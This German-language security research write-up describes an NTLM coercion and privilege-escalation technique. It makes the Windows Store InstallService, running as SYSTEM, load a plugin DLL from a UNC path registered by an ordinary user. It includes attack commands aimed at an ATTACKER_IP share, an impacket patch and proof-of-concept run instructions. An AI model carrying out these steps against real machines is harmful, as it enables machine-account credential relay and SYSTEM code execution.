
Eine weitere neue Coercion-Primitive mit LPE - NTLM-Coercion des Maschinenkontos von einem Nicht-Administrator-Benutzer über Experimente zur Plugin-Auflösung des Windows Store InstallService
Die Idee hinter dieser Forschung war einfach: Ich wollte eine eigene Coercion-Technik finden. Ich begann, nach neuen RPC-Angriffsflächen zu suchen, aber nachdem Microsoft RPC-Aktivitätsüberwachung hinzugefügt hatte (https://techcommunity.microsoft.com/blog/microsoftdefenderatpblog/microsoft-defender-now-monitors-rpc-activity/4523368), entschied ich mich für einen anderen Weg.
UNCanny ist das Ergebnis dieses Kaninchenbaus. Es ist nichts, was ich wegen seiner Einschränkung als zuverlässig für echte Red-Team-Operationen betrachten würde, aber ich denke trotzdem, dass sich die Notizen für alle lohnen, die in demselben Bereich graben.
Kurz gesagt ist dieses Primitive:
Ein normaler Benutzer übergibt dem Windows Store-Installationsdienst Installationsmetadaten -> der Dienst, der als lokales System läuft, löst ein „Plugin“ für diesen Auftrag auf -> der Resolver führt letztlich
LoadLibraryWauf einem vom Benutzer beeinflussten Pfad aus -> dieser Pfad ist eine UNC -> ausgehendes NTLM als Maschinenkonto.
Die betroffene Komponente gehört zur Welt des Windows Store-Installationsdienstes: InstallService.dll, gehostet in InstallService.exe, ausgeführt als NT AUTHORITY\SYSTEM.
Der Kaninchenbau begann mit InstallService.dll. Ich habe mir Windows-Komponenten angesehen, die Pakete installieren, Zustand nach Neustarts wiederherstellen, fehlgeschlagene Aufträge fortsetzen, lokale/entfernte Inhalte lesen und Plugins laden. Alles, was diese vier Dinge zusammen hat, hat normalerweise irgendwo eine Grenzverwirrung:
Die interessante Laufzeitklasse war:
Windows.Internal.InstallService.Control.InstallServiceControl
IID: e4893a99-9270-42b9-9a62-683d6ceed250
method: vtable slot 8 -> CreateInstallServiceWork(cv, caller, _, _, propertiesJson, optionsJson, out items)

In diesem Parameter propertiesJson steckt der eigentliche Spaß. Das Installationsverhalten wird durch JSON-Felder wie FulfillmentPluginId, SourceUri, PackageFamilyName, SerializedFulfillmentData, SkipCatalogLookup, ProductId, SkuId beschrieben.
Zuerst dachte ich, der Bug würde darin bestehen, „eine UNC in SourceUri zu legen und den Dienst sie lesen zu lassen“. Das wäre wunderschön gewesen, aber Windows war nicht so großzügig. Ich habe den eingebauten Fulfillment-Pfad (CreateInstallServiceWorkFromBridge, InstallService.dll) reversiert, und die eingebauten Plugins machen genau das nicht:
WU parst das JSON und geht über WinHTTP / Delivery Optimization raus. Nie über SMB.ChainedWork und XVC sind entweder dieselbe Geschichte oder auf einem Client nicht einmal vorhanden.SourceUri wird entweder schnell abgelehnt oder in die Katalogvalidierung geleitet. CreateCatalogItemFromLocalData erstellt trotz seines Namens ein Katalogelement aus dem im Speicher serialisierten JSON; es öffnet keine Datei.Die naive Idee ist also eine Sackgasse. Diese Funktion ist sehr interessant, und ich setze auch andere Research-Primitive darauf an – das sollte ich deutlich sagen, damit niemand eine Woche damit verschwendet :)
Der einzige Punkt im gesamten Erstellungs-/Wiederherstellungsablauf, an dem der Dienst einen vom Angreifer beeinflussten Pfad berührt, ist die Plugin-Aktivierung. Die Funktion ist PluginHelpers::ActivatePlugin. Sie löst FulfillmentPluginId in dieser Reihenfolge auf:
"WU" -> eingebaut"ChainedWork" -> eingebautStaticPluginMap (HKLM) gefunden -> CoCreateInstance einer CLSID, oder eine WinRT-Klasse aktivieren"XVC" -> Xbox-FactoryFindPackagesForUser(pfn) -> InstalledLocation.Path dieses Pakets nehmen -> LoadLibraryW( path + "\InstallServicePlugin.dll" ) -> GetProcAddress("ActivatePlugin")Zweig 5 ist der relevante, und PluginHelpers::IsPluginAvailable bestätigt das Gate: Sie gibt für jede FulfillmentPluginId, die zu einem installierten Paket passt, true zurück – über genau denselben FindPackagesForUser-Lookup.

Wenn also eine FulfillmentPluginId auf ein Paket zeigt, dessen InstalledLocation eine UNC ist, führt der als SYSTEM laufende InstallService.exe Folgendes aus:
LoadLibraryW( \\attacker\share\InstallServicePlugin.dll )
LoadLibraryW muss sich mit \\attacker\share verbinden und authentifizieren, bevor festgestellt werden kann, dass die DLL nicht da ist – und genau diese Authentifizierung ist die Coercion; die DLL muss nie existieren.

Die einzige verbleibende Frage ist: Wie bekommt ein normaler Benutzer ein Paket, dessen InstalledLocation eine UNC ist? Die Antwort ist die Loose-File-Registrierung, ein pro Benutzer durchgeführter, nicht elevierter Vorgang:
Add-AppxPackage -Register \\attacker\share\AppxManifest.xml
Windows registriert das Paket „an Ort und Stelle“, sodass die registrierte InstalledLocation buchstäblich die UNC ist, auf die du gezeigt hast. Dann löst du den Auftrag mit dem Familiennamen dieses Pakets als Plugin-ID aus.
Add-AppxPackage -Register \\attacker\share\AppxManifest.xmlCreateInstallServiceWork( FulfillmentPluginId = <that package's PFN> )Der Aufrufer ist ein normaler Benutzer, die Netzwerkauthentifizierung erfolgt über das Maschinenkonto.

Ein Benutzer mit niedrigen Rechten hat es ausgelöst, das Maschinenkonto hat authentifiziert. Windows' eigener Loader hat die UNC berührt, nicht der Aufrufer.

Zwei Dinge müssen vor dem Ausführen geklärt werden:
impacket-smbserver meldet den Dateisystemtyp XTFS. AppX weigert sich, auf Nicht-NTFS-Freigaben zu registrieren (0x80073CFD). Patche das Feld FileSystemName in impacket/smbserver.py auf NTFS.
Die Freigabe benötigt AppxManifest.xml, logo.png, dummy.exe. InstallServicePlugin.dll wird nicht benötigt. MaxVersionTested im Manifest muss ≤ Ziel-Build sein (winver auf dem Ziel, um das zu prüfen).
Du kannst poc/setup.sh aus dem Repo-Root unter Kali ausführen. Es befüllt die Freigabe, patcht impacket, legt poc.ps1 per smbclient auf dem Ziel ab, wenn TARGET_IP und TARGET_CREDS gesetzt sind, und startet den Server ;-)
Führe dann auf deiner Windows-Workstation als Benutzer mit niedrigen Rechten in einer interaktiven Sitzung Folgendes aus:
powershell -ExecutionPolicy Bypass -File poc.ps1 -AttackerHost ATTACKER_IP -Share coerce
Es gibt eine zweite Seite desselben Bugs, die direkter ist als die Coercion. Wenn InstallServicePlugin.dll tatsächlich auf dem UNC-Paketpfad existiert, erreicht der Dienst weiterhin denselben Zweig LoadLibraryW(\\attacker\share\InstallServicePlugin.dll), aber diesmal gelingt das Laden, und die DLL wird als NT AUTHORITY\SYSTEM in den Store-Installationsdienst-Prozess gemappt.